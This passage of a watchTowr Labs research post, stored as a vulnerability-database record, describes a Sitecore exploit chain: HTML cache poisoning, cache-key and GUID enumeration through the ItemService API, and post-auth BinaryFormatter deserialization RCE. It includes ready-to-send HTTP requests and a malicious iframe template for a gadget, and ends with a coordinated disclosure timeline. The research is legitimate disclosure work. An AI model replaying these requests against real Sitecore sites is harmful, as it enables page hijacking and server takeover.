the HTTP cache poisoning request:\n\n```\nGET /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2\nHost: labcm.dev.local\nContent-Length: 110\nContent-Type: application/x-www-form-urlencoded\n\n__PARAMETERS=AddToCache(\"/layouts/Sample+Sublayout.ascx_%23lang%3aEN_%23login%3aFalse_%23qs%3a_%23index\",\"<html>removedforreadability</html>\")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1\n\n```\n\n\nAnd voila, we\u2019ve annoyed yet another website:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-53.png)\n\nWe now have final proof that our HTML cache poisoning vulnerability works as intended. Time to celebrate with the meme (what else?):\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-54.png)\n\nIn the example above, an attacker could generate a list of likely cache keys - maybe hundreds - overwrite them one by one, and check which ones affect the rendered page.\n\nThat already looks promising, but it wasn\u2019t enough for us. We wanted something cleaner: a way to enumerate cache keys directly, so we could compromise targets instantly and reliably. After a perfectly normal amount of coffee, questionable life choices, and staring at decompiled Sitecore code, we eventually found some ways to do exactly that.\n\n### Enumerating Cache Keys with ItemService API\n\nWe already know that we can poison Sitecore HTML cache keys - and yes, that gives us the power to quietly sneak watchTowr logos into various websites. As much as we love that idea, the actual exploitation feels\u2026 clunky. We can poison the cache, but we don\u2019t know the cache keys. On some pages, brute-forcing them might work (cumbersome), on others it won\u2019t (frustrating). Sigh.\n\nSo we set ourselves a new goal: enumerate the cache keys, and move to fully automated pwnage (sorry, we mean \u201cautomated watchTowr logo deployment\u201d).\n\nThat search led us to something called the [ItemService API](https://doc.sitecore.com/xp/en/developers/latest/sitecore-experience-manager/the-itemservice.html?utm_source=chatgpt.com). By default, it only binds to loopback and blocks remote requests with a 403. But reality is never that neat - it\u2019s not uncommon to see:\n\n*   ItemService exposed directly to the internet\n*   Anonymous access enabled (yes, really)\n\nExposing it is as simple as tweaking a config file, and the vendor even documents how to do it [here](https://doc.sitecore.com/xp/en/developers/104/sitecore-experience-manager/sitecore-services-client-security.html?utm_source=chatgpt.com). We\u2019ve personally seen it hanging out on the public internet, and you\u2019ll find community threads recommending it too.\n\nThe result? Anyone can enumerate your Sitecore items, no authentication required. In theory, you\u2019d only expose this in very narrow scenarios, like multiple Sitecore instances talking to each other. In practice? People like to live dangerously.\n\nIf you want to check whether your environment has made this \u201ccreative configuration decision,\u201d here\u2019s the quick test: send the following HTTP request\u2026\n\n```\nGET /sitecore/api/ssc/item HTTP/2\nHost: labcm.dev.local\n\n```\n\n\nIf you see a 403 Forbidden response, that\u2019s actually \u201cgood\u201d news - it means the ItemService API isn\u2019t exposed to the internet (or at least requires authentication).\n\nIf it\u2019s fully exposed though, you\u2019ll get a 404 Not Found response instead - which is exactly what we want:\n\n```\nHTTP/2 404 Not Found\n...\n\nThe item \"\" was not found.\n\nIt may have been deleted by another user.\n\n```\n\n\nWhen the API is exposed, you can use the search endpoint to query any item you want. In our case, we\u2019re especially interested in items that can be cached. For example, here\u2019s a request:\n\n```\nGET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 HTTP/2\nHost: labcm.dev.local\n\n```\n\n\nWe\u2019re specifically interested in Sitecore layouts. In the response below, you can look for items with the **Cacheable** key set to `1` - which means caching is enabled for them:\n\n```\n{\n    \"ItemID\":\"885b8314-7d8c-4cbb-8000-01421ea8f406\",\n    \"ItemName\":\"Sample Sublayout\",\n    \"ItemPath\":\"/sitecore/layout/Sublayouts/Sample Sublayout\",\n    \"ParentID\":\"eb443c0b-f923-409e-85f3-e7893c8c30c2\",\n    \"TemplateID\":\"0a98e368-cdb9-4e1e-927c-8e0c24a003fb\",\n    \"TemplateName\":\"Sublayout\",\n    \"Path\":\"/layouts/Sample Sublayout.ascx\",\n    \"...\":\"...\",\n    **\"Cacheable\":\"1\",**\n    \"CacheClearingBehavior\":\"\",\n    \"ClearOnIndexUpdate\":\"1\",\n    \"VaryByData\":\"\",\n    \"VaryByDevice\":\"1\",\n    \"VaryByLogin\":\"1\",\n    \"VaryByParm\":\"\",\n    \"VaryByQueryString\":\"\",\n    \"VaryByUser\":\"\",\n    \"restofkeys\":\"removedforreadability\"\n}\n\n```\n\n\nYou can see that the API reveals everything an attacker would want:\n\n*   The full item path (used in the cache key), for example: `/layouts/Sample Sublayout.ascx`\n*   Whether caching is enabled for that item (`Cacheable` key).\n*   Which cache settings are turned on, like `VarByData` and others.\n\nWith this information, the attacker can already predict the structure of the cache key:\n\n```\n/layouts/Sample Sublayout.ascx_#lang:EN_#dev:{DEVICENAME}_#login:{True|False}_#index\n\n```\n\n\nThe only missing piece is the actual device names. They could guess the default Sitecore ones, but why guess when you can just enumerate all devices directly? For that, they can send a simple HTTP request:\n\n```\nGET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 HTTP/2\nHost: labcm.dev.local\n\n```\n\n\nAnd just like that, the response hands over every available device name. One of these values will slot neatly into the cache key - no guesswork required.\n\n```\n\"Results\":[\n    {\"ItemName\":\"Mobile\"},\n    {\"ItemName\":\"JSON\"},\n    {\"ItemName\":\"Default\"},\n    {\"ItemName\":\"Feed\"},\n    {\"ItemName\":\"Print\"},\n    {\"ItemName\":\"Extra Extra Large\"},\n    {\"ItemName\":\"Extra Small\"},\n    {\"ItemName\":\"Medium\"},\n    ...\n]\n\n```\n\n\nThe same trick works for all cache key settings. If someone has enabled `VaryByData`, you can just lean on the API again to enumerate GUIDs of data sources and churn out a neat set of potential cache keys.\n\nPut simply: if the `ItemService` API is exposed, our HTML cache poisoning stops being \u201ccumbersome exploitation\u201d and turns into \u201ctrivial button-clicking.\u201d Why? Because we can enumerate every cacheable item and all the parameters that make up its cache keys. Depending on the environment, that gives you anywhere from a few dozen to a few thousand cache keys to target.\n\nSo the exploitation flow looks like this:\n\n*   Attacker enumerates all cacheable items.\n*   Attacker enumerates cache settings for those items.\n*   Attacker enumerates related items (like `devices`) used in cache keys.\n*   Attacker builds a complete list of valid cache keys.\n*   Attacker poisons those cache keys.\n\n### (Bonus) WT-2025-0027 (CVE-2025-53694): Enumerating Items with Restricted User\n\nOn some rare occasions, you may come across an `ItemService` API that runs under a restricted anonymous user. How do you spot this? The search returns no results, even when you query for default Sitecore items that should always be present.\n\nA good example is the well-known `ServicesAPI` user, who has no access to most items (and [we already know its password](https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/?utm_source=chatgpt.com)). If the API is configured so that anonymous requests impersonate `ServicesAPI`, a basic search like this:\n\n```\nGET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=&page=0&pagesize=100&includeStandardTemplateFields=true HTTP/2\nHost: labcm.dev.local\n\n```\n\n\nWe will receive a following response:\n\n```\n{\n    ...\n\t\"TotalCount\":42,\n\t\"TotalPage\":1,\n\t\"Links\":[],\n\t\"Results\":[]\n}\n\n```\n\n\nThe `Results` array comes back empty, meaning our items were filtered out. That makes sense - the user we\u2019re impersonating isn\u2019t supposed to see them.\n\nBut wait\u2026 something doesn\u2019t add up.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-55.png)\n\nAlright, something is very wrong here. The API claims there are 42 results, yet the `Results` array is empty.\n\nCode doesn\u2019t lie, so we dug in.\n\n```\npublic ItemSearchResults Search(string term, string databaseName, string language, string sorting, int page, int pageSize, string facet)\n{\n\t//... \n\tusing (IProviderSearchContext providerSearchContext = searchIndexFor.CreateSearchContext(SearchSecurityOptions.Default))\n\t{\n\t\t//...\n\t\tSearchResults<FullTextSearchResultItem> results = this._queryableOperations.GetResults(source); // [1]\n\t\tsource = this._queryableOperations.Skip(source, pageSize * page);\n\t\tsource = this._queryableOperations.Take(source, pageSize);\n\t\tSearchResults<FullTextSearchResultItem> results2 = this._queryableOperations.GetResults(source); // [2]\n\t\tItem[] items = (from i in this._queryableOperations.HitsSelect(results2, (SearchHit<FullTextSearchResultItem> x) => x.Document.GetItem()) // [3]\n\t\twhere i != null\n\t\tselect i).ToArray<Item>();\n\t\tint num = this._queryableOperations.HitsCount(results); // [4]\n\t\tresult = new ItemSearchResults\n\t\t{\n\t\t\tTotalCount = num,\n\t\t\tNumberOfPages = ItemSearch.CalculateNumberOfPages(pageSize, num),\n\t\t\tItems = items,\n\t\t\tFacets = this._queryableOperations.Facets(results)\n\t\t};\n\t}\n\treturn result;\n}\n\n```\n\n\nAt `[1]` and `[2]`, an Apache Solr query is performed and the results are retrieved.\n\nAt `[3]`, a crucial step is performed. The code will iterate over retrieved items, and it will try to validate if our user (here, `ServicesAPI`) has access to this item. If yes, it will add it to the `items` array. If not, it will skip the item and `items` will not be extended.\n\nAt `[4]`, it calculates the number of retrieved items.\n\nThis explains the strange behavior we\u2019re seeing, where the result count is accurate but there are no results. Results are being filtered, but their count is calculated on the pre-filtered array.\n\nThat\u2019s great, but it\u2019s a bug - how can we abuse this behavior?\n\nWell, if we can leverage our input into the Solr queries - and the reality they accept \\* and ? - we can likely enumerate items in a similar vein to a blind SQLI?\n\nFor instance, we can firstly try to enumerate GUID for the devices with this approach to find GUIDs that start with `a`:\n\n```\nGET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true\n\n```\n\n\nInteresting:\n\n`\"TotalCount\":3`\n\nSo, we can continue like so, finding GUID's that start with `aa`:\n\n```\nGET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:aa*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true\n\n```\n\n\nGiving us the total count of:\n\n`\"TotalCount\":2`\n\nAs you can tell, we can exponentially continue this process to brute-force out valid GUIDs, until we get to the following final result:\n\n```\nGET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true\n\n```\n\n\nTo demonstrate this, we updated our PoC to automatically extract the key of the 1st device:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-56.png)\n\n### HTML Cache Poisoning Summary\n\nSo, we have now learnt how to poison any HTML cache key stored in the Sitecore cache - but, how painful it is depends on the configuration:\n\n*   Extremely easy: `ItemService` API is exposed.\n*   Easy to middling: `ItemService` is not exposed, but cache settings are tame enough to guess or brute-force keys.\n*   Borderline impossible: `ItemService` is not exposed, and cache keys include GUIDs or other unknown bits.\n\n### WT-2025-0019 (CVE-2025-53691): Post-Auth Deserialization RCE\n\nWe wouldn\u2019t be ourselves if we didn\u2019t try to chain this shiny cache poisoning bug with some good old-fashioned RCE. So we kicked off a post-auth RCE hunting session.\n\nOne of the easiest starting points when reviewing a Java or C# codebase is to hunt for deserialization sinks, then see if they\u2019re reachable. Our search for `BinaryFormatter` usages in Sitecore turned up something juicy: the `Sitecore.Convert.Base64ToObject` wrapper.\n\nWhat does it do? Exactly what it says on the tin - it takes a base64-encoded string and turns it back into an object, courtesy of an unrestricted `BinaryFormatter` call. No binders, no checks, no guardrails.\n\n```\npublic static object Base64ToObject(string data)\n{\n\tError.AssertString(data, \"data\", true);\n\tif (data.Length > 0)\n\t{\n\t\ttry\n\t\t{\n\t\t\tbyte[] buffer = Convert.FromBase64String(data); // [1]\n\t\t\tBinaryFormatter binaryFormatter = new BinaryFormatter();\n\t\t\tMemoryStream serializationStream = new MemoryStream(buffer);\n\t\t\treturn binaryFormatter.Deserialize(serializationStream); // [2]\n\t\t}\n\t\tcatch (Exception exception)\n\t\t{\n\t\t\tLog.Error(\"Error converting data to base64.\", exception, typeof(Convert));\n\t\t}\n\t}\n\treturn null;\n}\n\n```\n\n\nIf we could ever reach this method with our own input, it\u2019d be an RCE worthy of an SSLVPN.\n\nThe problem? This method is not widely used in Sitecore, but we have spotted a very intriguing code path:\n\n```\nSitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Process(ConvertToRuntimeHtmlArgs)\nSitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Convert(HtmlDocument)\nSitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Convert(HtmlDocument, HtmlNode, string, SafeDictionary<string,int>)\nSitecore.Convert.Base64ToObject(string)\n\n```\n\n\nIf you followed our previous Sitecore post, the first method probably rings a bell.\n\nProcess methods are sprinkled all over Sitecore pipelines \u2014 those familiar chains of methods the platform loves to execute. A quick dig through the Sitecore config shows that one pipeline in particular wires in the `Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls` processor:\n\n```\n<convertToRuntimeHtml>\n  <processor type=\"Sitecore.Pipelines.ConvertToRuntimeHtml.PrepareHtml, Sitecore.Kernel\" />\n  <processor type=\"Sitecore.Pipelines.ConvertToRuntimeHtml.ShortenLinks, Sitecore.Kernel\" />\n  <processor type=\"Sitecore.Pipelines.ConvertToRuntimeHtml.SetImageSizes, Sitecore.Kernel\" />\n  <processor type=\"Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls, Sitecore.Kernel\" />\n  <processor type=\"Sitecore.Pipelines.ConvertToRuntimeHtml.FixBullets, Sitecore.Kernel\" />\n  <processor type=\"Sitecore.Pipelines.ConvertToRuntimeHtml.FinalizeHtml, Sitecore.Kernel\" />\n</convertToRuntimeHtml>\n\n```\n\n\nHere we are!\n\nThe `convertToRuntimeHtml` pipeline eventually calls `ConvertWebControls.Process` - and that\u2019s where things could get interesting, because it can lead us straight into an unprotected `BinaryFormatter` deserialization.\n\nTwo questions matter at this point:\n\n*   Can we actually use the `ConvertWebControls` processor to hit that deserialization sink with attacker-controlled input?\n*   And are we even able to trigger the `convertToRuntimeHtml` pipeline in the first place?\n\nLet\u2019s tackle the first question.\n\n```\npublic void Process(ConvertToRuntimeHtmlArgs args)\n{\n\tif (!args.ConvertWebControls)\n\t{\n\t\treturn;\n\t}\n\tConvertWebControls.Convert(args.HtmlDocument); // [1]\n\tConvertWebControls.RemoveInnerValues(args.HtmlDocument);\n}\n\nprivate static void Convert(HtmlDocument document)\n{\n\tSafeDictionary<string, int> controlIds = new SafeDictionary<string, int>();\n\tHtmlNodeCollection htmlNodeCollection = document.DocumentNode.SelectNodes(\"//iframe\"); // [2]\n\tif (htmlNodeCollection != null)\n\t{\n\t\tforeach (HtmlNode htmlNode in ((IEnumerable<HtmlNode>)htmlNodeCollection))\n\t\t{\n\t\t\tstring src = htmlNode.GetAttributeValue(\"src\", string.Empty).Replace(\"&amp;\", \"&\");\n\t\t\tConvertWebControls.Convert(document, htmlNode, src, controlIds); // [3]\n\t\t}\n\t}\n\t//...\n\t}\n}\n\n```\n\n\nAt `[1]`, our processor will call the inner `Convert` method, with (we hope) the attacker-controlled `HtmlDocument` object.\n\nAt `[2]`, the code selects all `iframe` tags.\n\nIt will then iterate over them and will use them in a call to another implementation of `Convert` method.\n\n```\nprivate static void Convert(HtmlDocument document, HtmlNode node, string src, SafeDictionary<string, int> controlIds)\n{\n\tNameValueCollection nameValueCollection = new NameValueCollection();\n\tstring text = string.Empty;\n\tstring empty = string.Empty;\n\tstring text2 = string.Empty;\n\tnameValueCollection.Add(\"runat\", \"server\");\n\tsrc = src.Substring(src.IndexOf(\"?\", StringComparison.InvariantCulture) + 1);\n\tstring[] list = src.Split(new char[]\n\t{\n\t\t'&'\n\t});\n\ttext = ConvertWebControls.GetParameters(list, nameValueCollection, text, ref empty);\n\tstring id = node.Id; // [1]\n\tHtmlNode htmlNode = document.DocumentNode.SelectSingleNode(\"//*[@id='\" + id + \"_inner']\"); // [2]\n\tif (htmlNode != null)\n\t{\n\t\ttext2 = htmlNode.GetAttributeValue(\"value\", string.Empty);\n\t\thtmlNode.ParentNode.RemoveChild(htmlNode);\n\t}\n\tHtmlNode htmlNode2 = document.CreateElement(empty + \":\" + text);\n\tforeach (object obj in nameValueCollection.Keys)\n\t{\n\t\tstring name = (string)obj;\n\t\thtmlNode2.SetAttributeValue(name, nameValueCollection[name]);\n\t}\n\tif (htmlNode2.Id == \"scAssignID\")\n\t{\n\t\thtmlNode2.Id = ConvertWebControls.AssignControlId(empty, text, controlIds);\n\t}\n\tif (text2.Length > 0)\n\t{\n\t\thtmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); // [3]\n\t}\n\tnode.ParentNode.ReplaceChild(htmlNode2, node);\n}\n\n\n```\n\n\nAt `[1]`, the code retrieves the `id` attribute from the `iframe` node.\n\nAt `[2]`, the code looks for all the tags that contain `@id + _inner` value.\n\nAt `[3]`, the code calls the `Sitecore.Convert.Base64ToObject` with the `value` attribute from the extracted node.\n\nThere we have it - confirmation. If an attacker controls the `HtmlDocument` (the pipeline argument), they can drop in malicious HTML like this:\n\n```\n<html>\n    <iframe id=\"test\" src=\"poc\" value=\"poc\">\n        <test id=\"test_inner\" value=\"base64-encoded-deserialization-gadget\">    \n        </test>\n    </iframe>\n</html>\n\n```\n\n\n\u2026and with that, we land straight in `Base64ToObject` - carrying our encoded deserialization gadget along for the ride!\n\nIf this flow feels familiar, your instincts are right. It looks almost identical to a Post-Auth RCE detailed nearly two years ago. The kicker? The vulnerable code is still present today.\n\nThe difference is that Sitecore seems to have quietly \u201cpatched\u201d it by cutting off the exposed routes into this code path - not by fixing the underlying deserialization sink.\n\nIn other words, the dangerous functionality remains, just hidden behind fewer doors.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-57.png)\n\nNow, let\u2019s follow our spider senses and try to look for another way to reach the `convertToRuntimeHtml` pipeline.\n\nIn reality, we didn\u2019t need any special senses - it turned out to be a fairly simple task.\n\nWe have identified the `Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.FixHtmlPage` control:\n\n```\nprotected override void OnLoad(EventArgs e)\n{\n\tAssert.ArgumentNotNull(e, \"e\");\n\tFixHtmlPage.HasAccess(); // [1]\n\tbase.OnLoad(e);\n\tif (AjaxScriptManager.Current.IsEvent)\n\t{\n\t\treturn;\n\t}\n\tUrlHandle urlHandle = UrlHandle.Get();\n\tstring text = HttpUtility.HtmlDecode(this.SanitizeHtml(StringUtil.GetString(urlHandle[\"html\"]))); // [2]\n\tthis.OriginalHtml = text;\n\ttry\n\t{\n\t\tthis.Original.InnerHtml = RuntimeHtml.Convert(text, Settings.HtmlEditor.SupportWebControls); // [3]\n\t}\n\tcatch\n\t{\n\t}\n\tthis.OriginalMemo.Value = text;\n\t//...\n}\n\n\n```\n\n\nAt `[1]`, a permission check is performed - you need `Content Editor` rights to get past it.\n\nAt `[2]`, the `html` value is retrieved from the provided session handler. We\u2019ve already described these handlers in our previous blog post - Sitecore can generate session-like handlers and set parameters for them.\n\nAt `[3]`, `Sitecore.Layouts.Convert(string, bool)` is called:\n\n```\npublic static string Convert(string body, bool convertWebControls)\n{\n\tAssert.ArgumentNotNull(body, \"body\");\n\tConvertToRuntimeHtmlArgs convertToRuntimeHtmlArgs = new ConvertToRuntimeHtmlArgs();\n\tconvertToRuntimeHtmlArgs.Html = body;\n\tconvertToRuntimeHtmlArgs.ConvertWebControls = convertWebControls;\n\tusing (new LongRunningOperationWatcher(Settings.Profiling.RenderFieldThreshold, \"convertToRuntimeHtml\", Array.Empty<string>()))\n\t{\n\t\tCorePipeline.Run(\"convertToRuntimeHtml\", convertToRuntimeHtmlArgs); // [1]\n\t}\n\treturn convertToRuntimeHtmlArgs.Html;\n}\n\n```\n\n\nYou can see that the attacker-supplied HTML will be passed to the `convertToRuntimeHtml` pipeline, which means it will hit the vulnerable conversion control `[1]` - achieving RCE.\n\nIf you want to reproduce this manually through the UI, just open Content Editor > Edit HTML, paste the malicious HTML into the editor window, and hit the Fix button.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-58.png)\n\nThe UI won\u2019t let you exploit this if you only have read access to the Content Editor without write permissions on items. But that doesn\u2019t block exploitation entirely - you can still hit it through a simple HTTP request, no UI required.\n\nThe first step is to start the `Content Editor` application:\n\n```\nGET /sitecore/shell/Applications/Content%20Editor.aspx HTTP/2\nHost: labcm.dev.local\nCookie: ...\n\n```\n\n\nThen, you need to load the HTML content into the session, as demonstrated in the following HTTP request:\n\n```\nGET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx HTTP/2\nHost: labcm.dev.local\nCookie: ...\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 3380\n\n&__PARAMETERS=edithtml%3Afix&__EVENTTARGET=&__EVENTARGUMENT=&__SOURCE=&__EVENTTYPE=&__CONTEXTMENU=&__MODIFIED=&__ISEVENT=1&__CSRFTOKEN=&__PAGESTATE=&__VIEWSTATE=&__EVENTVALIDATION=&scActiveRibbonStrip=&scGalleries=&ctl00$ctl00$ctl05$Html=<html><iframe+id%3d\"test\"+src%3d\"poc\"+value%3d\"poc\"><test+id%3d\"test_inner\"+value%3d\"deser-gadget-here\"></test></iframe></html>\n\n```\n\n\nWithin the response, you will receive a handler `hdl` that stores your `html`:\n\n```\n{\n    \"command\":\"ShowModalDialog\",\n    \"value\":\"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=A4CB99F98F974923BA5BEBB3121B087B\",\n    ...\n}\n\n```\n\n\nFinally, it\u2019s enough to visit the endpoint provided in the response, which will trigger the `FixHtmlPage` control and with our malicious HTML included:\n\n```\nGET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=A4CB99F98F974923BA5BEBB3121B087B HTTP/2\nHost: labcm.dev.local\nCookie: ...\n\n```\n\n\n### HTML Cache Poisoning to RCE Chain\n\nThat\u2019s it! In totality today we have presented:\n\n*   HTML Cache Poisoning (WT-2025-0023 - CVE-2025-53693) - allows an attacker to achieve unauthenticated HTML cache poisoning.\n    *   Numerous ways to enumerate/brute-force valid cache keys:\n        *   \u201cEnumerating Cache Keys with ItemService API\u201d section.\n        *   \u201cWT-2025-0027 (CVE-2025-53694): Enumerating Items with Restricted User\u201d section.\n*   Post-Auth Remote Code Execution:\n    *   WT-2025-0019 (CVE-2025-53691)\n    *   [(or any of our previously documented Post-Auth RCE opportunities)](https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform/)\n\nAnd just for fun, a reminder of the visuals of all of this combined:\n\n0:00\n\n/0:35\n\n![](https://labs.watchtowr.com/content/media/2025/08/sitecore_cache_edited2_thumb.jpg)\n\n### Summary\n\nWhew! This was long. Maybe a little bit too long, but we hope you enjoyed it.\n\n> If you don\u2019t - blame people on Twitter (our editor is keen to highlight he voted for shorter, but he accepts his flaws).\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-59.png)\n\nTo summarise our journey: we managed to abuse a very restricted reflection path to call a method that lets us poison any HTML cache key. That single primitive opened the door to hijacking Sitecore Experience Platform pages - and from there, dropping arbitrary JavaScript to trigger a Post-Auth RCE vulnerability.\n\nVulnerability chains like this are a reminder - never dismiss something just because it looks boring at first glance. Time is finite, days are short, and digging through endless code paths feels painful. But when you stumble across something that _might_ be powerful - like reflections - it\u2019s worth chasing down every angle. Most of the time, it leads nowhere. Sometimes, it leads to full compromise.\n\nThis kind of work is rarely glamorous and usually doesn\u2019t pay off - but when it does, it\u2019s glorious.\n\nNobody forced us to be researchers, after all, and we live with the late nights and rabbit holes because every so often, one of them leads to a chain that makes the whole effort worthwhile.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-60.png)\n\n### Timelines\n\n\n\n* Date: 24th February 2025\n  * Detail: WT-2025-0019 discovered and disclosed to Sitecore.\n* Date: 24th February 2025\n  * Detail: Sitecore confirms the receipt of the WT-2025-0019 report.\n* Date: 27th February 2025\n  * Detail: WT-2025-0023 discovered and disclosed to Sitecore.\n* Date: 28th February 2025\n  * Detail: Sitecore confirms the receipt of the WT-2025-0023 report.\n* Date: 7th March 2025\n  * Detail: WT-2025-0027 discovered and disclosed to Sitecore.\n* Date: 7th March 2025\n  * Detail: Sitecore confirms the receipt of the WT-2025-0027 report.\n* Date: 4th July 2025\n  * Detail: Sitecore notifies watchTowr that WT-2025-0019 and WT-2025-0023 had been already fixed on 16th June. WT-2025-0027 still waits for the patch.\n* Date: 8th July 2025\n  * Detail: WT-2025-0027 patch released (to watchTowr surprise)\n* Date: 30th July 2025\n  * Detail: Sitecore notifies watchTowr that WT-2025-0027 was patched and provides the CVE numbers assigned to the vulnerabilities.\n* Date: 29th August 2025\n  * Detail: Blog post published.\n\n\nThe research published by [watchTowr Labs](https://www.watchtowr.com/?ref=labs.watchtowr.com) is just a glimpse into what powers the [watchTowr Platform](https://www.watchtowr.com/?ref=labs.watchtowr.com) \u2013 delivering automated, continuous testing against real attacker behaviour.\n\nBy combining Proactive Threat Intelligence and External Attack Surface Management into a single **Preemptive Exposure Management** capability, the [watchTowr Platform](https://www.watchtowr.com/?ref=labs.watchtowr.com) helps organisations rapidly react to emerging threats \u2013 and gives them what matters most: **time to respond.**\n\n### Gain early access to our research, and understand your exposure, with the watchTowr Platform\n\n[REQUEST A DEMO](https://watchtowr.com/demo/)", "creation_timestamp": "2025-08-29T14:35:14.031634+00:00", "timestamp": "2025-08-29T14:35:14.031634+00:00", "related_vulnerabilities": ["CVE-2025-34510", "CVE-2025-53691", "CVE-2025-53694", "CVE-2025-34509", "CVE-2025-53693", "CVE-2025-34511"], "author": {"login": "adulau", "name": "Alexandre Dulaunoy", "uuid": "c933734a-9be8-4142-889e-26e95c752803"}}
